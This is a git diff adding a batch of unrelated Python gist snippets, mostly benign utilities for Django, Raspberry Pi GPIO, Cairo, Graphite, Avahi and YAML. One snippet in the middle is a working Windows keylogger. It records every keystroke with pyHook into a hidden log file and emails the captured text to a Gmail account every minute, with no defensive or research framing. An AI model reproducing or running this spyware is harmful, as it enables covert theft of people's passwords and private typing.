+    if not subscription or subscription.verify_token != self.request.GET['hub.verify_token']:
+      self.error(400)
+      return
+
+    self.response.headers['Content-Type'] = 'text/plain'
+    self.response.out.write(self.request.GET['hub.challenge'])
+
+  def post(self):
+    """Handles new content notifications."""
+    feed = feedparser.parse(self.request.body)
+    id = find_self_url(feed.feed.links)
+    subscription = Subscription.get_by_key_name(id)
+    subscriber_keys = Subscriber.all(keys_only=True).ancestor(subscription).fetch(1000)
+    subscriber_addresses = [x.name() for x in subscriber_keys]
+    if not subscription:
+      logging.warn("Discarding update from unknown feed '%s'", id)
+      return
+    for entry in feed.entries:
+      message = "%s (%s)" % (entry.title, entry.link)
+      xmpp.send_message(subscriber_addresses, message)
+
+
+application = webapp.WSGIApplication([
+  ('/_ah/xmpp/message/chat/', XmppHandler),
+  ('/(?:hubbub)', CallbackHandler),
+], debug=False)
+
+
+def main():
+  run_wsgi_app(application)
+
+
+if __name__ == '__main__':
+  main()
\ No newline at end of file
diff --git a/hard-gists/313761/._snippet.py b/hard-gists/313761/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/313761/._snippet.py differ
diff --git a/hard-gists/313761/snippet.py b/hard-gists/313761/snippet.py
new file mode 100644
index 00000000..b5c83801
--- /dev/null
+++ b/hard-gists/313761/snippet.py
@@ -0,0 +1,63 @@
+from django.db import models
+from django.utils import simplejson as json
+from django.conf import settings
+from datetime import datetime
+
+
+class JSONEncoder(json.JSONEncoder):
+    def default(self, obj):
+        if isinstance(obj, datetime):
+            return obj.strftime('%Y-%m-%d %H:%M:%S')
+        elif isinstance(obj, datetime.date):
+            return obj.strftime('%Y-%m-%d')
+        elif isinstance(obj, datetime.time):
+            return obj.strftime('%H:%M:%S')
+        return json.JSONEncoder.default(self, obj)
+
+
+class JSONField(models.TextField):
+    def _dumps(self, data):
+        return JSONEncoder().encode(data)
+
+    def _loads(self, str):
+        return json.loads(str, encoding=settings.DEFAULT_CHARSET)
+
+    def db_type(self):
+        return 'text'
+
+    def pre_save(self, model_instance, add):
+        value = getattr(model_instance, self.attname, None)
+        return self._dumps(value)
+
+    def contribute_to_class(self, cls, name):
+        self.class_name = cls
+        super(JSONField, self).contribute_to_class(cls, name)
+        models.signals.post_init.connect(self.post_init)
+
+        def get_json(model_instance):
+            return self._dumps(getattr(model_instance, self.attname, None))
+        setattr(cls, 'get_%s_json' % self.name, get_json)
+
+        def set_json(model_instance, json):
+            return setattr(model_instance, self.attname, self._loads(json))
+        setattr(cls, 'set_%s_json' % self.name, set_json)
+
+    def post_init(self, **kwargs):
+        if 'sender' in kwargs and 'instance' in kwargs:
+            if kwargs['sender'] == self.class_name and hasattr(kwargs['instance'], self.attname):
+                value = self.value_from_object(kwargs['instance'])
+                if (value):
+                    setattr(kwargs['instance'], self.attname, self._loads(value))
+                else:
+                    setattr(kwargs['instance'], self.attname, None)
+
+
+class SampleModel(models.Model):
+    first_name = models.CharField(max_length=50)
+    last_name = models.CharField(max_length=50)
+    data = JSONField(null=True, blank=True)
+
+
+sample = SampleModel(first_name='Patrick', last_name='Altman')
+sample.data = {'pets': None, 'children': ['Benjamin', 'Clare', 'Joshua'], 'some_date': datetime(2010, 02, 01)}
+sample.save()
diff --git a/hard-gists/3141128/._snippet.py b/hard-gists/3141128/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3141128/._snippet.py differ
diff --git a/hard-gists/3141128/snippet.py b/hard-gists/3141128/snippet.py
new file mode 100644
index 00000000..2b410760
--- /dev/null
+++ b/hard-gists/3141128/snippet.py
@@ -0,0 +1,37 @@
+# http://stackoverflow.com/a/10031877
+
+import numpy
+import cairo
+import math
+
+from gi.repository import Gtk,Gdk
+
+data = numpy.zeros((200, 200, 4), dtype=numpy.uint8)
+surface = cairo.ImageSurface.create_for_data(
+    data, cairo.FORMAT_ARGB32, 200, 200)
+cr = cairo.Context(surface)
+
+# fill with solid white
+cr.set_source_rgb(1.0, 1.0, 1.0)
+cr.paint()
+
+# draw red circle
+cr.arc(100, 100, 80, 0, 2*math.pi)
+cr.set_line_width(3)
+cr.set_source_rgb(1.0, 0.0, 0.0)
+cr.stroke()
+
+#draw directly to the shared buffer
+data[10:30,10:30,2] = 128
+
+# write output
+print data[38:48, 38:48, 0]
+surface.write_to_png("circle.png")
+
+pb = Gdk.pixbuf_get_from_surface(surface,0,0,200,200)
+im = Gtk.Image.new_from_pixbuf(pb)
+w = Gtk.Window()
+w.connect("delete-event", Gtk.main_quit)
+w.add(im)
+w.show_all()
+Gtk.main()
\ No newline at end of file
diff --git a/hard-gists/3141140/._snippet.py b/hard-gists/3141140/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3141140/._snippet.py differ
diff --git a/hard-gists/3141140/snippet.py b/hard-gists/3141140/snippet.py
new file mode 100644
index 00000000..7d54b0f0
--- /dev/null
+++ b/hard-gists/3141140/snippet.py
@@ -0,0 +1,34 @@
+import Image
+import sys
+import glob
+
+# Trim all png images with alpha in a folder
+# Usage "python PNGAlphaTrim.py ../someFolder"
+
+try:
+	folderName = sys.argv[1]
+except :
+	print "Usage: python PNGPNGAlphaTrim.py ../someFolder"
+	sys.exit(1)
+
+filePaths = glob.glob(folderName + "/*.png") #search for all png images in the folder
+
+for filePath in filePaths:
+	image=Image.open(filePath)
+	image.load()
+
+	imageSize = image.size
+	imageBox = image.getbbox()
+
+	imageComponents = image.split()
+
+	if len(imageComponents) < 4: continue #don't process images without alpha
+
+	rgbImage = Image.new("RGB", imageSize, (0,0,0))
+	rgbImage.paste(image, mask=imageComponents[3])
+	croppedBox = rgbImage.getbbox()
+
+	if imageBox != croppedBox:
+		cropped=image.crop(croppedBox)
+		print filePath, "Size:", imageSize, "New Size:",croppedBox
+		cropped.save(filePath)
\ No newline at end of file
diff --git a/hard-gists/3144636/._snippet.py b/hard-gists/3144636/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3144636/._snippet.py differ
diff --git a/hard-gists/3144636/snippet.py b/hard-gists/3144636/snippet.py
new file mode 100644
index 00000000..13f0d843
--- /dev/null
+++ b/hard-gists/3144636/snippet.py
@@ -0,0 +1,37 @@
+#!/usr/bin/env python
+"""
+Some Hessian codes
+"""
+import numpy as np
+from scipy.optimize import approx_fprime
+
+
+def hessian ( x0, epsilon=1.e-5, linear_approx=False, *args ):
+    """
+    A numerical approximation to the Hessian matrix of cost function at
+    location x0 (hopefully, the minimum)
+    """
+    # ``calculate_cost_function`` is the cost function implementation
+    # The next line calculates an approximation to the first
+    # derivative
+    f1 = approx_fprime( x0, calculate_cost_function, *args) 
+
+    # This is a linear approximation. Obviously much more efficient
+    # if cost function is linear
+    if linear_approx:
+        f1 = np.matrix(f1)
+        return f1.transpose() * f1    
+    # Allocate space for the hessian
+    n = x0.shape[0]
+    hessian = np.zeros ( ( n, n ) )
+    # The next loop fill in the matrix
+    xx = x0
+    for j in xrange( n ):
+        xx0 = xx[j] # Store old value
+        xx[j] = xx0 + epsilon # Perturb with finite difference
+        # Recalculate the partial derivatives for this new point
+        f2 = approx_fprime( x0, calculate_cost_function, *args) 
+        hessian[:, j] = (f2 - f1)/epsilon # scale...
+        xx[j] = xx0 # Restore initial value of x0        
+    return hessian
+   
diff --git a/hard-gists/3148833/._snippet.py b/hard-gists/3148833/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3148833/._snippet.py differ
diff --git a/hard-gists/3148833/snippet.py b/hard-gists/3148833/snippet.py
new file mode 100644
index 00000000..ea3a62e2
--- /dev/null
+++ b/hard-gists/3148833/snippet.py
@@ -0,0 +1,21 @@
+from django.db import models
+from django.db.models import Manager
+from django.db.models.query import QuerySet
+
+class CaseInsensitiveQuerySet(QuerySet):
+  def _filter_or_exclude(self, mapper, *args, **kwargs):
+  # 'name' is a field in your Model whose lookups you want case-insensitive by default
+    if 'name' in kwargs:
+      kwargs['name__iexact'] = kwargs['name']
+      del kwargs['name']
+    return super(CaseInsensitiveQuerySet, self)._filter_or_exclude(mapper, *args, **kwargs)
+# custom manager that overrides the initial query set
+class BrandManager(Manager):
+  def get_query_set(self):
+    return CaseInsensitiveQuerySet(self.model)
+# and the model itself
+class Brand(models.Model):
+  name = models.CharField(max_length=50, unique=True, db_index=True)
+  objects = BrandManager()
+  def __str__(self):
+    return self.name  
\ No newline at end of file
diff --git a/hard-gists/3151375/._snippet.py b/hard-gists/3151375/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3151375/._snippet.py differ
diff --git a/hard-gists/3151375/snippet.py b/hard-gists/3151375/snippet.py
new file mode 100644
index 00000000..3f847c31
--- /dev/null
+++ b/hard-gists/3151375/snippet.py
@@ -0,0 +1,105 @@
+#!/usr/bin/env python
+
+# Written by Limor "Ladyada" Fried for Adafruit Industries, (c) 2015
+# This code is released into the public domain
+
+import time
+import os
+import RPi.GPIO as GPIO
+
+GPIO.setmode(GPIO.BCM)
+DEBUG = 1
+
+# read SPI data from MCP3008 chip, 8 possible adc's (0 thru 7)
+def readadc(adcnum, clockpin, mosipin, misopin, cspin):
+        if ((adcnum > 7) or (adcnum < 0)):
+                return -1
+        GPIO.output(cspin, True)
+
+        GPIO.output(clockpin, False)  # start clock low
+        GPIO.output(cspin, False)     # bring CS low
+
+        commandout = adcnum
+        commandout |= 0x18  # start bit + single-ended bit
+        commandout <<= 3    # we only need to send 5 bits here
+        for i in range(5):
+                if (commandout & 0x80):
+                        GPIO.output(mosipin, True)
+                else:
+                        GPIO.output(mosipin, False)
+                commandout <<= 1
+                GPIO.output(clockpin, True)
+                GPIO.output(clockpin, False)
+
+        adcout = 0
+        # read in one empty bit, one null bit and 10 ADC bits
+        for i in range(12):
+                GPIO.output(clockpin, True)
+                GPIO.output(clockpin, False)
+                adcout <<= 1
+                if (GPIO.input(misopin)):
+                        adcout |= 0x1
+
+        GPIO.output(cspin, True)
+        
+        adcout >>= 1       # first bit is 'null' so drop it
+        return adcout
+
+# change these as desired - they're the pins connected from the
+# SPI port on the ADC to the Cobbler
+SPICLK = 18
+SPIMISO = 23
+SPIMOSI = 24
+SPICS = 25
+
+# set up the SPI interface pins
+GPIO.setup(SPIMOSI, GPIO.OUT)
+GPIO.setup(SPIMISO, GPIO.IN)
+GPIO.setup(SPICLK, GPIO.OUT)
+GPIO.setup(SPICS, GPIO.OUT)
+
+# 10k trim pot connected to adc #0
+potentiometer_adc = 0;
+
+last_read = 0       # this keeps track of the last potentiometer value
+tolerance = 5       # to keep from being jittery we'll only change
+                    # volume when the pot has moved more than 5 'counts'
+
+while True:
+        # we'll assume that the pot didn't move
+        trim_pot_changed = False
+
+        # read the analog pin
+        trim_pot = readadc(potentiometer_adc, SPICLK, SPIMOSI, SPIMISO, SPICS)
+        # how much has it changed since the last read?
+        pot_adjust = abs(trim_pot - last_read)
+
+        if DEBUG:
+                print "trim_pot:", trim_pot
+                print "pot_adjust:", pot_adjust
+                print "last_read", last_read
+
+        if ( pot_adjust > tolerance ):
+               trim_pot_changed = True
+
+        if DEBUG:
+                print "trim_pot_changed", trim_pot_changed
+
+        if ( trim_pot_changed ):
+                set_volume = trim_pot / 10.24           # convert 10bit adc0 (0-1024) trim pot read into 0-100 volume level
+                set_volume = round(set_volume)          # round out decimal value
+                set_volume = int(set_volume)            # cast volume as integer
+
+                print 'Volume = {volume}%' .format(volume = set_volume)
+                set_vol_cmd = 'sudo amixer cset numid=1 -- {volume}% > /dev/null' .format(volume = set_volume)
+                os.system(set_vol_cmd)  # set volume
+
+                if DEBUG:
+                        print "set_volume", set_volume
+                        print "tri_pot_changed", set_volume
+
+                # save the potentiometer reading for the next loop
+                last_read = trim_pot
+
+        # hang out and do nothing for a half second
+        time.sleep(0.5)
\ No newline at end of file
diff --git a/hard-gists/3153844/._snippet.py b/hard-gists/3153844/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3153844/._snippet.py differ
diff --git a/hard-gists/3153844/snippet.py b/hard-gists/3153844/snippet.py
new file mode 100644
index 00000000..983d2612
--- /dev/null
+++ b/hard-gists/3153844/snippet.py
@@ -0,0 +1,35 @@
+import os
+import os.path
+import sys
+
+from graphite.render.hashing import ConsistentHashRing
+
+instances = []
+unwelcome_instances = []
+for arg in sys.argv[1:]:
+    unwelcome = False
+    if arg.startswith('-'):
+        arg = arg[1:]
+        unwelcome = True
+    instance = tuple(arg.split(':', 2))
+    instances.append(instance)
+    if unwelcome:
+        unwelcome_instances.append(instance)
+if 0 == len(instances):
+    print('Usage: python whisper-clean.py [-]<address>:<instance>[...]')
+    sys.exit(1)
+
+ring = ConsistentHashRing(instances)
+
+for dirname, dirnames, filenames in os.walk('/var/lib/graphite/whisper'):
+    for filename in filenames:
+        pathname = os.path.join(dirname, filename)
+        basename, ext = os.path.splitext(filename)
+        if '.wsp' != ext:
+            print('skipping %s' % os.path.relpath(pathname,
+                                                  '/var/lib/graphite/whisper'))
+        if ring.get_node(os.path.relpath(os.path.join(dirname, basename),
+                                         '/var/lib/graphite/whisper').
+                         replace('/', '.')) in unwelcome_instances:
+            print('unlinking %s' % pathname)
+            os.unlink(pathname)
\ No newline at end of file
diff --git a/hard-gists/3158388/._snippet.py b/hard-gists/3158388/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3158388/._snippet.py differ
diff --git a/hard-gists/3158388/snippet.py b/hard-gists/3158388/snippet.py
new file mode 100644
index 00000000..40362d1d
--- /dev/null
+++ b/hard-gists/3158388/snippet.py
@@ -0,0 +1,117 @@
+"""
+module mydjangolib.bigint_patch
+
+A fix for the rather well-known ticket #399 in the django project.
+
+Create and link to auto-incrementing primary keys of type bigint without
+having to reload the model instance after saving it to get the ID set in
+the instance.
+
+Logs:
+- v1.0: Created by Florian
+- v1.1: Updated by Thomas
+  * Fixed missing param `connection`
+  * Used endswith for engine type check 
+    (for better compatibility with `dj_database_url` and heroku)  
+  * Added support for sqlite3 (which uses BIGINT by default)
+  * Added south's add_introspection_rules if south is defined
+  * Added BigOneToOneField and a short description
+  * Assumed file location: common/fields.py
+"""
+
+from django.core import exceptions
+from django.conf import settings
+from django.db.models import fields
+from django.utils.translation import ugettext as _
+from south.modelsinspector import add_introspection_rules
+from django.db.models.fields.related import OneToOneField
+
+__version__ = "1.1"
+__author__ = "Florian Leitner"
+__author__ = "Thomas Yip @ BeeDesk"
+
+class BigIntegerField(fields.IntegerField):
+    def db_type(self, connection):
+        if settings.DATABASE_ENGINE.endswith('mysql'):
+            return "bigint"
+        elif settings.DATABASE_ENGINE.endswith('oracle'):
+            return "NUMBER(19)"
+        elif settings.DATABASE_ENGINE.endswith('postgres'):
+            return "bigint"
+        elif settings.DATABASE_ENGINE.endswith('sqlite3'):
+            return super(BigIntegerField, self).db_type(connection)
+        else:
+            raise NotImplemented
+    
+    def get_internal_type(self):
+        return "BigIntegerField"
+    
+    def to_python(self, value):
+        if value is None:
+            return value
+        try:
+            return long(value)
+        except (TypeError, ValueError):
+            raise exceptions.ValidationError(
+                _("This value must be a long integer."))
+
+class BigAutoField(fields.AutoField):
+    def db_type(self, connection):
+        if settings.DATABASE_ENGINE.endswith('mysql'):
+            return "bigint AUTO_INCREMENT"
+        elif settings.DATABASE_ENGINE.endswith('oracle'):
+            return "NUMBER(19)"
+        elif settings.DATABASE_ENGINE.endswith('postgres'):
+            return "bigserial"
+        elif settings.DATABASE_ENGINE.endswith('sqlite3'):
+            return super(BigAutoField, self).db_type(connection)
+        else:
+            raise NotImplemented
+
+    def get_internal_type(self):
+        return "BigAutoField"
+    
+    def to_python(self, value):
+        if value is None:
+            return value
+        try:
+            return long(value)
+        except (TypeError, ValueError):
+            raise exceptions.ValidationError(
+                _("This value must be a long integer."))
+
+class BigForeignKey(fields.related.ForeignKey):
+    
+    def db_type(self, connection):
+        rel_field = self.rel.get_related_field()
+        # next lines are the "bad tooth" in the original code:
+        if (isinstance(rel_field, BigAutoField) or
+                (not connection.features.related_fields_match_type and
+                isinstance(rel_field, BigIntegerField))):
+            # because it continues here in the django code:
+            # return IntegerField().db_type()
+            # thereby fixing any AutoField as IntegerField
+            return BigIntegerField().db_type(connection)
+        return rel_field.db_type(connection)
+
+class BigOneToOneField(BigForeignKey, OneToOneField):
+    """
+    If you use subclass model, you might need to name 
+    the `ptr` field explicitly. This is the field type you 
+    might want to use. Here is an example: 
+    
+    class Base(models.Model):
+        title = models.CharField(max_length=40, verbose_name='Title')
+
+    class Concrete(Base):
+        base_ptr = fields.BigOneToOneField(Base)
+        ext = models.CharField(max_length=12, null=True, verbose_name='Ext')
+    """
+    pass
+
+if 'south' in settings.INSTALLED_APPS:
+    add_introspection_rules([], ['^common\.fields\.BigIntegerField'])
+    add_introspection_rules([], ['^common\.fields\.BigAutoField'])
+    add_introspection_rules([], ['^common\.fields\.BigForeignKey'])
+    add_introspection_rules([], ['^common\.fields\.BigOneToOneField'])
+
diff --git a/hard-gists/3163938/._snippet.py b/hard-gists/3163938/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3163938/._snippet.py differ
diff --git a/hard-gists/3163938/snippet.py b/hard-gists/3163938/snippet.py
new file mode 100644
index 00000000..9395c166
--- /dev/null
+++ b/hard-gists/3163938/snippet.py
@@ -0,0 +1,40 @@
+from Tkinter import *
+
+import time
+import RPi.GPIO as GPIO
+
+GPIO.setmode(GPIO.BCM)
+GPIO.setup(17, GPIO.OUT)
+GPIO.setup(18, GPIO.IN, pull_up_down=GPIO.PUD_UP)
+
+def say_hi():
+	print "Lighting up LED"
+	GPIO.output(17, GPIO.HIGH)
+	time.sleep(5)
+	GPIO.output(17, GPIO.LOW)
+	
+def check_button():
+	if (GPIO.input(18) == GPIO.LOW):
+		labelText.set("Button Pressed.")
+	else:
+		labelText.set("")
+	root.after(10,check_button)
+
+root = Tk()
+
+button = Button(root, text="Quit.", fg="red", command=quit)
+button.pack(side=RIGHT, padx=10, pady=10, ipadx=10, ipady=10)
+
+hi_there = Button(root, text="Light my LED!", command=say_hi)
+hi_there.pack(side=LEFT, padx=10, pady=10, ipadx=10, ipady=10)
+
+labelText = StringVar()
+labelText.set("Button Pressed.")
+label1 = Label(root, textvariable=labelText, height=4)
+label1.pack(side=LEFT)
+
+root.title("LED Blinker")
+root.geometry('500x300+200+200')
+
+root.after(10,check_button)
+root.mainloop()
\ No newline at end of file
diff --git a/hard-gists/3166d6123bd26c066c462328bebcf0c0/._snippet.py b/hard-gists/3166d6123bd26c066c462328bebcf0c0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3166d6123bd26c066c462328bebcf0c0/._snippet.py differ
diff --git a/hard-gists/3166d6123bd26c066c462328bebcf0c0/snippet.py b/hard-gists/3166d6123bd26c066c462328bebcf0c0/snippet.py
new file mode 100644
index 00000000..3af8b923
--- /dev/null
+++ b/hard-gists/3166d6123bd26c066c462328bebcf0c0/snippet.py
@@ -0,0 +1,62 @@
+import pyHook, pythoncom, sys, logging
+import time, datetime
+
+wait_seconds = 60
+timeout = time.time() + wait_seconds
+file_log = 'C:\\secret\\dat.txt'
+
+def TimeOut():
+  if time.time() > timeout:
+    return True
+  else:
+    return False
+
+def SendEmail(user, pwd, recipient, subject, body):
+  import smtplib
+  
+  gmail_user= user
+  gmail_pass = pwd
+  FROM = user
+  TO = recipient if type(recipient) is list else [recipient]
+  SUBJECT = subject
+  TEXT = body
+  
+  message = """\From: %s\nTo: %s\nSubject: %s\n\n%s
+  """ % (FROM, ", ".join(TO), SUBJECT, TEXT)
+  try:
+    server = smtplib.SMTP("smtp.gmail.com", 587)
+    server.ehlo()
+    server.starttls()
+    server.login(gmail_user, gmail_pass)
+    server.sendmail(FROM, TO, message)
+    server.close()
+    print 'Correo enviado satisfactoriamente!'
+  except:
+    print 'Error al mandar correo!'
+
+def FormatAndSendLogEmail():
+  with open(file_log, 'r+') as f:
+    actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
+    data = f.read().replace('\n', '')
+    data = 'Log capturado a las: '+ actualdate + '\n' + data
+    SendEmail('tucorreo@gmail.com', 'tuclave', 'tucorreo@gmail.com',
+              'Nuevo log - '+actualdate, data)
+    f.seek(0)
+    f.truncate()
+    
+def OnKeyboardEvent(event):
+  logging.basicConfig(filename=file_log, level=logging.DEBUG,
+                      format = '%(message)s')
+  logging.log(10, chr(event.Ascii))
+  return True
+  
+hooks_manager = pyHook.HookManager()
+hooks_manager.KeyDown = OnKeyboardEvent
+hooks_manager.HookKeyboard()
+
+while True:
+  if TimeOut():
+    FormatAndSendLogEmail()
+    timeout = time.time() + wait_seconds
+  
+  pythoncom.PumpWaitingMessages()
\ No newline at end of file
diff --git a/hard-gists/3167162/._snippet.py b/hard-gists/3167162/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3167162/._snippet.py differ
diff --git a/hard-gists/3167162/snippet.py b/hard-gists/3167162/snippet.py
new file mode 100644
index 00000000..b86771ac
--- /dev/null
+++ b/hard-gists/3167162/snippet.py
@@ -0,0 +1,22 @@
+"""
+A simple script to kick off a certain ROP remotely, optionally
+with a given framerange.
+
+Usage: hython path/to/script/houBatch.py /path/to/hipfile /hou/path/to/rop
+
+TODO: Add options for multiple ROPs, hperf.
+"""
+import hou, sys
+
+# Load the hip file
+hou.hipFile.load(sys.argv[1])
+
+# If framerange option, set it
+#if sys.argv[3]:
+#    hou.parmTuple( "%s/f" %(sys.argv[2]) ).set((sys.argv[3],sys.argv[4],1.0))
+
+# Start the render
+hou.node(sys.argv[2]).render()
+
+# When finished, exit
+sys.exit(0)
\ No newline at end of file
diff --git a/hard-gists/3167821/._snippet.py b/hard-gists/3167821/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3167821/._snippet.py differ
diff --git a/hard-gists/3167821/snippet.py b/hard-gists/3167821/snippet.py
new file mode 100644
index 00000000..85a67853
--- /dev/null
+++ b/hard-gists/3167821/snippet.py
@@ -0,0 +1,21 @@
+import pymongo
+from pymongo import Connection
+
+conn = Connection()
+db = conn['myDB']
+collection = db['language']
+
+#Creating a collection
+db.language.insert({"id": "1", "name": "C", "grade":"Boring"})
+db.language.insert({"id": "2", "name":"Python", "grade":"Interesting"})
+
+#Reading it
+print "After create\n",list(db.language.find())
+
+#Updating the collection
+db.language.update({"name":"C"}, {"$set":{"grade":"Make it interesting"}})
+print "After update\n",list(db.language.find())
+
+#Deleting the collection
+db.language.drop()
+print "After delete\n", list(db.language.find())
diff --git a/hard-gists/3168336/._snippet.py b/hard-gists/3168336/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3168336/._snippet.py differ
diff --git a/hard-gists/3168336/snippet.py b/hard-gists/3168336/snippet.py
new file mode 100644
index 00000000..ad8d47b4
--- /dev/null
+++ b/hard-gists/3168336/snippet.py
@@ -0,0 +1,70 @@
+#! /usr/bin/env python2
+'''
+Register a mDNS/DNS-SD alias name for your computer using the Avahi daemon
+
+This script will register an alternate CNAME alias besides your hostname,
+which could be useful for ex. when serving several http virtual hosts to 
+your ffriends on the local network and you don't want to make them configure
+their /etc/hosts.
+
+Why a CNAME? You could also publish your current address with avahi-publish-address
+but on a multihomed host (connected via wifi0 and eth0 perhaps) a single
+address will not be valid on both networks. So this publishes a CNAME to your
+hostname, which, by default, is already published by Avahi.
+
+domain should almost always be .local
+the cname is not restricted to ascii, it'll be encoded as IDNA
+
+The alias will stay published until the script runs.
+'''
+import avahi, dbus
+from encodings.idna import ToASCII
+
+TTL = 60
+# Got these from /usr/include/avahi-common/defs.h
+CLASS_IN = 0x01
+TYPE_CNAME = 0x05
+
+
+def publish_cname(cname):
+    bus = dbus.SystemBus()
+    server = dbus.Interface(bus.get_object(avahi.DBUS_NAME, avahi.DBUS_PATH_SERVER),
+            avahi.DBUS_INTERFACE_SERVER)
+    group = dbus.Interface(bus.get_object(avahi.DBUS_NAME, server.EntryGroupNew()),
+            avahi.DBUS_INTERFACE_ENTRY_GROUP)
+
+    if not u'.' in cname:
+        cname = cname + '.local'
+    cname = encode_cname(cname)
+    rdata = encode_rdata(server.GetHostNameFqdn())
+    rdata = avahi.string_to_byte_array(rdata)
+
+    group.AddRecord(avahi.IF_UNSPEC, avahi.PROTO_UNSPEC, dbus.UInt32(0),
+        cname, CLASS_IN, TYPE_CNAME, TTL, rdata)
+    group.Commit()
+
+
+def encode_cname(name):
+    return '.'.join( ToASCII(p) for p in name.split('.') if p )
+
+def encode_rdata(name):
+    def enc(part):
+        a = ToASCII(part)
+        return chr(len(a)), a
+    return ''.join( '%s%s' % enc(p) for p in name.split('.') if p ) + '\0'
+
+if __name__ == '__main__':
+    import time, sys, locale
+    if len(sys.argv)<2:
+        script_name = sys.argv[0]
+        print "Usage: %s hostname.local [hostname2.local] [hostname3.local]" % script_name
+        sys.exit(1)
+
+    for each in sys.argv[1:]:
+        name = unicode(each, locale.getpreferredencoding())
+        publish_cname(name)
+    try:
+        while True: time.sleep(60)
+    except KeyboardInterrupt:
+        print "Exiting"
+        sys.exit(0)
\ No newline at end of file
diff --git a/hard-gists/317164/._snippet.py b/hard-gists/317164/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/317164/._snippet.py differ
diff --git a/hard-gists/317164/snippet.py b/hard-gists/317164/snippet.py
new file mode 100644
index 00000000..cfb6818e
--- /dev/null
+++ b/hard-gists/317164/snippet.py
@@ -0,0 +1,221 @@
+import yaml
+
+
+### OrderedDict from <http://pypi.python.org/pypi/ordereddict/1.1>
+
+# Copyright (c) 2009 Raymond Hettinger
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+#     The above copyright notice and this permission notice shall be
+#     included in all copies or substantial portions of the Software.
+#
+#     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+#     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+#     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+#     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+#     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+#     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+#     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+#     OTHER DEALINGS IN THE SOFTWARE.
+
+from UserDict import DictMixin
+
+class OrderedDict(dict, DictMixin):
+
+    def __init__(self, *args, **kwds):
+        if len(args) > 1:
+            raise TypeError('expected at most 1 arguments, got %d' % len(args))
+        try:
+            self.__end
+        except AttributeError:
+            self.clear()
+        self.update(*args, **kwds)
+
+    def clear(self):
+        self.__end = end = []
+        end += [None, end, end]         # sentinel node for doubly linked list
+        self.__map = {}                 # key --> [key, prev, next]
+        dict.clear(self)
+
+    def __setitem__(self, key, value):
+        if key not in self:
+            end = self.__end
+            curr = end[1]
+            curr[2] = end[1] = self.__map[key] = [key, curr, end]
+        dict.__setitem__(self, key, value)
+
+    def __delitem__(self, key):
+        dict.__delitem__(self, key)
+        key, prev, next = self.__map.pop(key)
+        prev[2] = next
+        next[1] = prev
+
+    def __iter__(self):
+        end = self.__end
+        curr = end[2]
+        while curr is not end:
+            yield curr[0]
+            curr = curr[2]
+
+    def __reversed__(self):
+        end = self.__end
+        curr = end[1]
+        while curr is not end:
+            yield curr[0]
+            curr = curr[1]
+
+    def popitem(self, last=True):
+        if not self:
+            raise KeyError('dictionary is empty')
+        if last:
+            key = reversed(self).next()
+        else:
+            key = iter(self).next()
+        value = self.pop(key)
+        return key, value
+
+    def __reduce__(self):
+        items = [[k, self[k]] for k in self]
+        tmp = self.__map, self.__end
+        del self.__map, self.__end
+        inst_dict = vars(self).copy()
+        self.__map, self.__end = tmp
+        if inst_dict:
+            return (self.__class__, (items,), inst_dict)
+        return self.__class__, (items,)
+
+    def keys(self):
+        return list(self)
+
+    setdefault = DictMixin.setdefault
+    update = DictMixin.update
+    pop = DictMixin.pop
+    values = DictMixin.values
+    items = DictMixin.items
+    iterkeys = DictMixin.iterkeys
+    itervalues = DictMixin.itervalues
+    iteritems = DictMixin.iteritems
+
+    def __repr__(self):
+        if not self:
+            return '%s()' % (self.__class__.__name__,)
+        return '%s(%r)' % (self.__class__.__name__, self.items())
+
+    def copy(self):
+        return self.__class__(self)
+
+    @classmethod
+    def fromkeys(cls, iterable, value=None):
+        d = cls()
+        for key in iterable:
+            d[key] = value
+        return d
+
+    def __eq__(self, other):
+        if isinstance(other, OrderedDict):
+            if len(self) != len(other):
+                return False
+            for p, q in  zip(self.items(), other.items()):
+                if p != q:
+                    return False
+            return True
+        return dict.__eq__(self, other)
+
+    def __ne__(self, other):
+        return not self == other
+
+
+### Construct OrderedDict
+
+def construct_odict(load, node):
+    """This is the same as SafeConstructor.construct_yaml_omap(),
+    except the data type is changed to OrderedDict() and setitem is
+    used instead of append in the loop.
+
+    >>> yaml.load('''
+    ... !!omap
+    ... - foo: bar
+    ... - mumble: quux
+    ... - baz: gorp
+    ... ''')
+    OrderedDict([('foo', 'bar'), ('mumble', 'quux'), ('baz', 'gorp')])
+
+    >>> yaml.load('''!!omap [ foo: bar, mumble: quux, baz : gorp ]''')
